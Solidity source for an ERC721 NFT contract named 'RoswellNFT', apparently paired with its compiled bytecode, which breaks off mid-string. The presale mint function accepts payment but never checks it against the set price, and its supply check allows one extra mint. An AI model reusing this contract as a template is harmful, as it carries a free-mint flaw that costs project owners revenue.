function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
contract RoswellNFT is ERC721Enumerable, Ownable, Pausable {
constructor(string memory baseURI, string memory name, string memory symbol) ERC721(name, symbol) {
_setBaseURI(baseURI);
}
bool private revealed = false;
uint256 private maxSupply = 11111;
uint256 private preSaleSupply = 2000;
string private notRevealURI;
uint256 private preSaleStartDate;
uint256 private preSaleEndDate;
uint256 private publicSaleDate;
uint256 private publicSaleEndDate;
uint256 private preSalePrice;
uint256 private publicSalePrice;
mapping(address => uint256) private ownedToken;
mapping(address => bool) private whitelistUsers;
event PreSaleMint(address user, uint256 count, uint256 amount, uint256 time);
event PublicSaleMint(address user, uint256 count, uint256 time);
event Mint(address user, uint256 tokenId);
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function preSaleMint(address _to) public payable whenNotPaused{
require(preSaleStartDate <= block.timestamp && preSaleEndDate > block.timestamp, "Presale ended or not started yet");
require(isWhitelisted(_to), "User is not whitelisted");
require(totalSupply() <= preSaleSupply, "Supply limit reached!");
require(ownedToken[_to] == 0, "You can't pre-buy more tokens");
_safeMint(_to, totalSupply() + 1);
ownedToken[_to]++;
emit PreSaleMint(_to, 1, msg.value, block.timestamp);
}
function publicSaleMint(address _to ,uint256 _mintAmount) public onlyOwner{
uint256 supply = totalSupply();
require(supply + _mintAmount <= maxSupply, "Supply limit reached!");
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(_to, supply + i);
}
emit PublicSaleMint(_to, _mintAmount, block.timestamp);
}
function adminMint(address _to ,uint256 _tokenId) public onlyOwner{
_safeMint(_to, _tokenId);
emit Mint (_to, _tokenId);
}
function setNotRevealedURI(string memory _newURI) public onlyOwner {
notRevealURI = _newURI;
}
function setBaseURI(string memory _baseURI) public onlyOwner {
_setBaseURI(_baseURI);
}
function setPresalePrice(uint256 _newPrice) public onlyOwner {
preSalePrice = _newPrice;
}
function setPublicSalePrice(uint256 _newPrice) public onlyOwner {
publicSalePrice = _newPrice;
}
function setPresaleStartTime(uint256 _time) public onlyOwner {
preSaleStartDate = _time;
}
function setPresaleEndTime(uint256 _time) public onlyOwner {
preSaleEndDate = _time;
}
function setPublicSaleTime(uint256 _time) public onlyOwner {
publicSaleDate = _time;
}
function setPublicSaleEndTime(uint256 _time) public onlyOwner {
publicSaleEndDate = _time;
}
function whitelist(address _account) public onlyOwner {
whitelistUsers[_account] = true;
}
function burn(uint256 _tokenId) public {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), _tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(_tokenId);
}
function removeWhitelistedUsers(address _account) public onlyOwner {
whitelistUsers[_account] = false;
}
function getPreSalePrice() public view returns (uint256) {
return preSalePrice;
}
function getPublicSalePrice() public view returns (uint256) {
return publicSalePrice;
}
function getPreSaleStartTime() public view returns (uint256) {
return preSaleStartDate;
}
function getPreSaleEndTime() public view returns (uint256) {
return preSaleEndDate;
}
function getPublicSaleTime() public view returns (uint256) {
return publicSaleDate;
}
function getPublicSaleEndTime() public view returns (uint256) {
return publicSaleEndDate;
}
function getNotRevealedURI() public view returns (string memory) {
return notRevealURI;
}
function tokenOwner(address _user) public view returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_user);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_user, i);
}
return tokenIds;
}
function isWhitelisted(address _user) public view returns (bool) {
return whitelistUsers[_user];
}
function tokenURI(uint256 _tokenId) public view override returns (string memory)
{
require(_exists(_tokenId), "ERC721Metadata: URI query for nonexistent token");
if(revealed == false) {
return notRevealURI;
}else {
return super.tokenURI(_tokenId);
}
}
function getReveal() public view returns (bool){
return revealed;
}
function reveal() public onlyOwner {
require (revealed == false, "NFTs already revealed");
revealed = true;
}
function unReveal() public onlyOwner {
require (revealed == true, "NFTs already UNrevealed");
revealed = false;
}
function getOwnerToken(address _user) public view returns (uint256){
return ownedToken[_user];
}
function withdraw() public onlyOwner {
payable(owner()).transfer(address(this).balance);
}
} | 0x6080604052600436106102c95760003560e01c80637aef860f11610175578063a9d41dd5116100dc578063cfa0136f11610095578063e985e9c51161006f578063e985e9c51461085a578063f2c4ce1e146108a3578063f2fde38b146108c3578063f793c0cd146108e357600080fd5b8063cfa0136f14610805578063d22f76cf14610825578063e58306f91461083a57600080fd5b8063a9d41dd51461075d578063ac5ae11b1461077d578063b4199b8c1461079d578063b88d4fde146107b2578063bde7321b146107d2578063c87b56dd146107e557600080fd5b8063966c05741161012e578063966c05741461069d57806397d17b96146106d35780639b19251a146106e8578063a1ef0e5414610708578063a22cb46514610728578063a475b5dd1461074857600080fd5b80637aef860f14610616578063816d6a5d1461062b5780638456cb59146106405780638da5cb5b146106555780638e8bdd0d1461067357806395d89b411461068857600080fd5b80633af32abf1161023457806355f804b3116101ed5780636352211e116101c75780636352211e146105a157806370a08231146105c1578063715018a6146105e1578063791a2519146105f657600080fd5b806355f804b3146105435780635af97082146105635780635c975abb1461058257600080fd5b80633af32abf146104805780633ccfd60b146104b95780633f4ba83a146104ce57806342842e0e146104e357806342966c68146105035780634f6ccce71461052357600080fd5b806318160ddd1161028657806318160ddd146103b457806323b872dd146103d3578063296cab55146103f35780632f745c59146104135780633549345e146104335780633ab69b621461045357600080fd5b806301ffc9a7146102ce57806306fdde0314610303578063081812fc14610325578063095ea7b31461035d57806311b7e5e71461037f57806315edf5f31461039f575b600080fd5b3480156102da57600080fd5b506102ee6102e93660046129e8565b6108f8565b60405190151581526020015b60405180910390f35b34801561030f57600080fd5b50610318610923565b6040516102fa9190612bf4565b34801561033157600080fd5b50610345610340366004612a6b565b6109b5565b6040516001600160a01b0390911681526020016102fa565b34801561036957600080fd5b5061037d6103783660046129be565b610a4f565b005b34801561038b57600080fd5b5061037d61039a366004612a6b565b610b65565b3480156103ab57600080fd5b5061037d610b94565b3480156103c057600080fd5b50600a545b6040519081526020016102fa565b3480156103df57600080fd5b5061037d6103ee3660046128ca565b610c2b565b3480156103ff57600080fd5b5061037d61040e366004612a6b565b610c5d565b34801561041f57600080fd5b506103c561042e3660046129be565b610c8c565b34801561043f57600080fd5b5061037d61044e366004612a6b565b610d22565b34801561045f57600080fd5b5061047361046e366004612875565b610d51565b6040516102fa9190612bb0565b34801561048c57600080fd5b506102ee61049b366004612875565b6001600160a01b031660009081526017602052604090205460ff1690565b3480156104c557600080fd5b5061037d610df3565b3480156104da57600080fd5b5061037d610e59565b3480156104ef57600080fd5b5061037d6104fe3660046128ca565b610e8d565b34801561050f57600080fd5b5061037d61051e366004612a6b565b610ea8565b34801561052f57600080fd5b506103c561053e366004612a6b565b610f1f565b34801561054f57600080fd5b5061037d61055e366004612a22565b610fb2565b34801561056f57600080fd5b50600c54600160a81b900460ff166102ee565b34801561058e57600080fd5b50600c54600160a01b900460ff166102ee565b3480156105ad57600080fd5b506103456105bc366004612a6b565b610fe5565b3480156105cd57600080fd5b506103c56105dc366004612875565b61105c565b3480156105ed57600080fd5b5061037d6110e3565b34801561060257600080fd5b5061037d610611366004612a6b565b611157565b34801561062257600080fd5b506012546103c5565b34801561063757600080fd5b506014546103c5565b34801561064c57600080fd5b5061037d611186565b34801561066157600080fd5b50600c546001600160a01b0316610345565b34801561067f57600080fd5b506015546103c5565b34801561069457600080fd5b506103186111b8565b3480156106a957600080fd5b506103c56106b8366004612875565b6001600160a01b031660009081526016602052604090205490565b3480156106df57600080fd5b506010546103c5565b3480156106f457600080fd5b5061037d610703366004612875565b6111c7565b34801561071457600080fd5b5061037d610723366004612a6b565b611215565b34801561073457600080fd5b5061037d610743366004612982565b611244565b34801561075457600080fd5b5061037d611309565b34801561076957600080fd5b5061037d610778366004612875565b61139a565b34801561078957600080fd5b5061037d6107983660046129be565b6113e5565b3480156107a957600080fd5b506103186114ed565b3480156107be57600080fd5b5061037d6107cd366004612906565b6114fc565b61037d6107e0366004612875565b611534565b3480156107f157600080fd5b50610318610800366004612a6b565b61178c565b34801561081157600080fd5b5061037d610820366004612a6b565b611874565b34801561083157600080fd5b506011546103c5565b34801561084657600080fd5b5061037d6108553660046129be565b6118a3565b34801561086657600080fd5b506102ee610875366004612897565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205460ff1690565b3480156108af57600080fd5b5061037d6108be366004612a22565b61191d565b3480156108cf57600080fd5b5061037d6108de366004612875565b61195e565b3480156108ef57600080fd5b506013546103c5565b60006001600160e01b0319821663780e9d6360e01b148061091d575061091d82611a49565b92915050565b60606000805461093290612d9d565b80601f016020809104026020016040519081016040528092919081815260200182805461095e90612d9d565b80156109ab5780601f10610980576101008083540402835291602001916109ab565b820191906000526020600020905b81548152906001019060200180831161098e57829003601f168201915b5050505050905090565b6000818152600460205260408120546001600160a01b0316610a335760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600660205260409020546001600160a01b031690565b6000610a5a82610fe5565b9050806001600160a01b0316836001600160a01b03161415610ac85760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610a2a565b336001600160a01b0382161480610ae45750610ae48133610875565b610b565760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610a2a565b610b608383611a99565b505050565b600c546001600160a01b03163314610b8f5760405162461bcd60e51b8152600401610a2a90612c59565b601255565b600c546001600160a01b03163314610bbe5760405162461bcd60e51b8152600401610a2a90612c59565b600c54600160a81b900460ff161515600114610c1c5760405162461bcd60e51b815260206004820152601760248201527f4e46547320616c726561647920554e72657665616c65640000000000000000006044820152606401610a2a565b600c805460ff60a81b19169055565b610c36335b82611b07565b610c525760405162461bcd60e51b8152600401610a2a90612cdd565b610b60838383611bfe565b600c546001600160a01b03163314610c875760405162461bcd60e51b8152600401610a2a90612c59565b601055565b6000610c978361105c565b8210610cf95760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610a2a565b506001600160a01b03919091166000908152600860209081526040808320938352929052205490565b600c546001600160a01b03163314610d4c5760405162461bcd60e51b8152600401610a2a90612c59565b601455565b60606000610d5e8361105c565b905060008167ffffffffffffffff811115610d7b57610d7b612e5f565b604051908082528060200260200182016040528015610da4578160200160208202803683370190505b50905060005b82811015610deb57610dbc8582610c8c565b828281518110610dce57610dce612e49565b602090810291909101015280610de381612dd8565b915050610daa565b509392505050565b600c546001600160a01b03163314610e1d5760405162461bcd60e51b8152600401610a2a90612c59565b600c546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610e56573d6000803e3d6000fd5b50565b600c546001600160a01b03163314610e835760405162461bcd60e51b8152600401610a2a90612c59565b610e8b611da9565b565b610b60838383604051806020016040528060008152506114fc565b610eb133610c30565b610f165760405162461bcd60e51b815260206004820152603060248201527f4552433732314275726e61626c653a2063616c6c6572206973206e6f74206f7760448201526f1b995c881b9bdc88185c1c1c9bdd995960821b6064820152608401610a2a565b610e5681611e46565b6000610f2a600a5490565b8210610f8d5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610a2a565b600a8281548110610fa057610fa0612e49565b90600052602060002001549050919050565b600c546001600160a01b03163314610fdc5760405162461bcd60e51b8152600401610a2a90612c59565b610e5681611f24565b6000818152600460205260408120546001600160a01b03168061091d5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610a2a565b60006001600160a01b0382166110c75760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610a2a565b506001600160a01b031660009081526005602052604090205490565b600c546001600160a01b0316331461110d5760405162461bcd60e51b8152600401610a2a90612c59565b600c546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600c80546001600160a01b0319169055565b600c546001600160a01b031633146111815760405162461bcd60e51b8152600401610a2a90612c59565b601555565b600c546001600160a01b031633146111b05760405162461bcd60e51b8152600401610a2a90612c59565b610e8b611f37565b60606001805461093290612d9d565b600c546001600160a01b031633146111f15760405162461bcd60e51b8152600401610a2a90612c59565b6001600160a01b03166000908152601760205260409020805460ff19166001179055565b600c546001600160a01b0316331461123f5760405162461bcd60e51b8152600401610a2a90612c59565b601355565b6001600160a01b03821633141561129d5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610a2a565b3360008181526007602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600c546001600160a01b031633146113335760405162461bcd60e51b8152600401610a2a90612c59565b600c54600160a81b900460ff16156113855760405162461bcd60e51b81526020600482015260156024820152741391951cc8185b1c9958591e481c995d99585b1959605a1b6044820152606401610a2a565b600c805460ff60a81b1916600160a81b179055565b600c546001600160a01b031633146113c45760405162461bcd60e51b8152600401610a2a90612c59565b6001600160a01b03166000908152601760205260409020805460ff19169055565b600c546001600160a01b0316331461140f5760405162461bcd60e51b8152600401610a2a90612c59565b600061141a600a5490565b600d5490915061142a8383612d2e565b11156114705760405162461bcd60e51b8152602060048201526015602482015274537570706c79206c696d697420726561636865642160581b6044820152606401610a2a565b60015b82811161149f5761148d846114888385612d2e565b611fbf565b8061149781612dd8565b915050611473565b50604080516001600160a01b038516815260208101849052428183015290517f2c7d174a64b49c17bcea3a44c1ba1547c9a3f4997b68952c5dd3fcc1f17f7d6d9181900360600190a1505050565b6060600f805461093290612d9d565b6115063383611b07565b6115225760405162461bcd60e51b8152600401610a2a90612cdd565b61152e84848484611fd9565b50505050565b600c54600160a01b900460ff16156115815760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610a2a565b4260105411158015611594575042601154115b6115e05760405162461bcd60e51b815260206004820181905260248201527f50726573616c6520656e646564206f72206e6f742073746172746564207965746044820152606401610a2a565b6001600160a01b03811660009081526017602052604090205460ff166116485760405162461bcd60e51b815260206004820152601760248201527f55736572206973206e6f742077686974656c69737465640000000000000000006044820152606401610a2a565b600e54600a5411156116945760405162461bcd60e51b8152602060048201526015602482015274537570706c79206c696d697420726561636865642160581b6044820152606401610a2a565b6001600160a01b038116600090815260166020526040902054156116fa5760405162461bcd60e51b815260206004820152601d60248201527f596f752063616e2774207072652d627579206d6f726520746f6b656e730000006044820152606401610a2a565b61171281611707600a5490565b611488906001612d2e565b6001600160a01b038116600090815260166020526040812080549161173683612dd8565b9091555050604080516001600160a01b038316815260016020820152348183015242606082015290517f6fddf4c7ef42bb2270408a1ac69251571fe3108080513c71a183b9f0fdc291de9181900360800190a150565b6000818152600460205260409020546060906001600160a01b03166117c35760405162461bcd60e51b8152600401610a2a90612c8e565b600c54600160a81b900460ff1661186657600f80546117e190612d9d565b80601f016020809104026020016040519081016040528092919081815260200182805461180d90612d9d565b801561185a5780601f1061182f5761010080835404028352916020019161185a565b820191906000526020600020905b81548152906001019060200180831161183d57829003601f168201915b50505050509050919050565b61091d8261200c565b919050565b600c546001600160a01b0316331461189e5760405162461bcd60e51b8152600401610a2a90612c59565b601155565b600c546001600160a01b031633146118cd5760405162461bcd60e51b8152600401610a2a90612c59565b6118d78282611fbf565b604080516001600160a01b0384168152602081018390527f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885910160405180910390a15050565b600c546001600160a01b031633146119475760405162461bcd60e51b8152600401610a2a90612c59565b805161195a90600f906020840190612719565b5050565b600c546001600160a01b031633146119885760405162461bcd60e51b8152600401610a2a90612c59565b6001600160a01b0381166119ed5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a2a565b600c546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600c80546001600160a01b0319166001600160a01b0392909216919091179055565b60006001600160e01b031982166380ac58cd60e01b1480611a7a57506001600160e01b03198216635b5e139f60e01b145b8061091d57506301ffc9a760e01b6001600160e01b031983161461091d565b600081815260066020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611ace82610fe5565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600460205260408120546001600160a01b0316611b805760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610a2a565b6000611b8b83610fe5565b9050806001600160a01b0316846001600160a01b03161480611bc65750836001600160a01b0316611bbb846109b5565b6001600160a01b0316145b80611bf657506001600160a01b0380821660009081526007602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611c1182610fe5565b6001600160a01b031614611c795760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610a2a565b6001600160a01b038216611cdb5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610a2a565b611ce6838383612145565b611cf1600082611a99565b6001600160a01b0383166000908152600560205260408120805460019290611d1a908490612d5a565b90915550506001600160a01b0382166000908152600560205260408120805460019290611d48908490612d2e565b909155505060008181526004602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600c54600160a01b900460ff16611df95760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610a2a565b600c805460ff60a01b191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b6000611e5182610fe5565b9050611e5f81600084612145565b611e6a600083611a99565b60008281526002602052604090208054611e8390612d9d565b159050611ea1576000828152600260205260408120611ea19161279d565b6001600160a01b0381166000908152600560205260408120805460019290611eca908490612d5a565b909155505060008281526004602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628